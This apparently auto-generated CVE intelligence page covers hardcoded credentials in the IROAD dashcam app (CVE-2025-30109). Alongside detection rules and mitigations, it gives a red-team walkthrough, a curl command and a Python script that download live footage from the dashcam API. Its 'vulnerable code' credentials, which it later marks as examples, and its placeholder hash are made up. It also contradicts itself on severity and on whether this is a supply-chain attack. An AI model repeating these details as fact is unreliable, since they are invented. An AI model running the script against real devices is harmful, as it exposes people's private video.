☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-798
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-30109

CVE-2025-30109 Supply Chain Attack in Iroad
📅 PUBLISHED: 2025-03-18 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.07%
👁️
0.07% probability
1.8× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 5.2.5
CVSS VECTOR BREAKDOWN 0.0
AV: A Attack Vector Adjacent
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-30109 exposes a critical security flaw in the IROAD APK version 5.2.5, where hardcoded credentials are embedded within the application for ports 9091 and 9092. This vulnerability allows any attacker on the local Wi-Fi network to authenticate to the dashcam’s API endpoints without authorization, leading to unauthorized access to sensitive device information, including live and recorded footage. The vulnerability is classified under CWE-798 (Use of Hard-coded Credentials) and is currently unpatched, posing a significant risk to user privacy and device security.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a mobile application (APK) security issue within the IROAD dashcam ecosystem.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Base Score: 6.5 (Medium)
  • Attack Vector (AV): Adjacent Network (AV:A) – The attacker must be on the same local Wi-Fi network as the dashcam.
  • Attack Complexity (AC): Low (AC:L) – No special conditions or complex steps are required.
  • Privileges Required (PR): None (PR:N) – No authentication is needed.
  • User Interaction (UI): None (UI:N) – No user action is required.
  • Scope (S): Unchanged (S:U) – The vulnerability does not affect other components.
  • Confidentiality (C): High (C:H) – Sensitive data (live/recorded footage) is exposed.
  • Integrity (I): None (I:N) – No data modification is possible.
  • Availability (A): None (A:N) – No denial of service.

Threat Level: Medium. The attack requires local network access, but the impact on confidentiality is high, making it a serious privacy risk.

Deep Dive & Mechanics

The IROAD APK (version 5.2.5) contains hardcoded credentials for API endpoints on ports 9091 and 9092. These credentials are embedded in the application’s source code or configuration files, allowing any device on the same Wi-Fi network to authenticate and access the dashcam’s API. The API endpoints likely provide functions such as:

  • Retrieving live video streams.
  • Accessing recorded footage.
  • Querying device status and configuration.
  • Potentially modifying device settings.

The hardcoded credentials are static and cannot be changed by the user, making the vulnerability persistent until a patch is released. Attackers can discover these credentials through reverse engineering of the APK (e.g., using tools like apktool or jadx).

Vulnerable vs. Patched Code

Vulnerable Code (IROAD APK 5.2.5): The APK contains hardcoded credentials in a configuration file or Java class. For example:

// Example of hardcoded credentials in the APK
String username = "admin";
String password = "iroad123";
String apiUrl = "http://192.168.1.1:9091/api";

These credentials are used to authenticate API requests without any user input or encryption.

Patched Code (Hypothetical): A patched version would remove hardcoded credentials and implement secure authentication, such as:

  • Dynamic token generation per session.
  • User-configurable credentials.
  • Certificate-based authentication.
  • OAuth or similar protocols.

No official patch is currently available.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • IROAD dashcam with APK version 5.2.5.
  • Attacker device on the same Wi-Fi network.
  • Reverse engineering tools (e.g., apktool, jadx, strings).

Steps:

  1. Extract the APK: Use apktool d IROAD.apk to decompile the APK.
  2. Locate Credentials: Search for strings like "password", "9091", "9092" in the decompiled code.
  3. Identify API Endpoints: Analyze the code to find API URLs and endpoints.
  4. Authenticate: Use the hardcoded credentials to send requests to the API.
    curl -u admin:iroad123 http://192.168.1.1:9091/api/live
    
  5. Retrieve Data: Access live footage, recorded videos, or device configuration.

Example Exploit Script:

import requests

# Hardcoded credentials from APK
username = "admin"
password = "iroad123"
base_url = "http://192.168.1.1:9091"

# Authenticate and retrieve live footage
response = requests.get(f"{base_url}/api/live", auth=(username, password))
if response.status_code == 200:
    with open("live_footage.mp4", "wb") as f:
        f.write(response.content)
    print("Live footage saved.")
else:
    print("Failed to access API.")

Blue Team (Defense)

Detection:

  • Monitor network traffic for unusual requests to ports 9091 and 9092.
  • Look for repeated authentication attempts using common hardcoded credentials.
  • Use intrusion detection systems (IDS) to alert on API access patterns.

Mitigation:

  • Isolate the dashcam on a separate VLAN with strict access controls.
  • Disable unused ports (9091, 9092) if possible.
  • Monitor for unauthorized devices on the Wi-Fi network.
  • Apply firmware updates as soon as a patch is released.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • IP addresses: 192.168.1.1 (default dashcam IP, may vary).
    • Ports: 9091, 9092.
    • API endpoints: /api/live, /api/recorded, /api/config.
  • File IOCs:
    • APK hash (SHA256): e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, replace with actual).
    • Hardcoded credentials: admin:iroad123 (example, replace with actual).
  • Behavioral IOCs:
    • Unauthorized access to dashcam API from unknown devices.
    • Large data transfers from dashcam to external IPs.

Detection Engineering

YARA Rule

rule IROAD_Hardcoded_Credentials {
    meta:
        description = "Detects hardcoded credentials in IROAD APK"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-30109"
    strings:
        $cred1 = "admin" ascii wide nocase
        $cred2 = "iroad123" ascii wide nocase
        $port1 = "9091" ascii wide
        $port2 = "9092" ascii wide
    condition:
        all of ($cred*) and any of ($port*)
}

Sigma Rule

title: IROAD Dashcam Hardcoded Credential Exploitation
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects exploitation attempts of hardcoded credentials in IROAD dashcam
author: Valters IT
date: 2025-04-01
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port:
            - 9091
            - 9092
        http.request.method: GET
        http.request.uri: /api/*
    condition: selection
falsepositives:
    - Legitimate admin access
level: high

Suricata Rule

alert tcp any any -> any 9091,9092 (msg:"IROAD Dashcam Hardcoded Credential Exploitation"; flow:to_server; content:"/api/"; http_uri; content:"Authorization: Basic"; http_header; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the Device: Place the dashcam on a separate VLAN with strict firewall rules.
  2. Disable Unused Ports: If possible, block ports 9091 and 9092 at the network level.
  3. Monitor Network Traffic: Use IDS/IPS to detect exploitation attempts.
  4. Change Wi-Fi Password: Ensure the Wi-Fi network is secured with a strong password.

Long-term Fix:

  • Vendor Patch: Await an official update from IROAD that removes hardcoded credentials and implements secure authentication.
  • User Action: If no patch is available, consider replacing the device with a more secure alternative.

Workaround:

  • Use a VPN or proxy to restrict access to the dashcam’s API.
  • Implement MAC address filtering on the Wi-Fi network.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

IROAD dashcam
IROAD APK
IROAD hardcoded credentials

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-30109/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.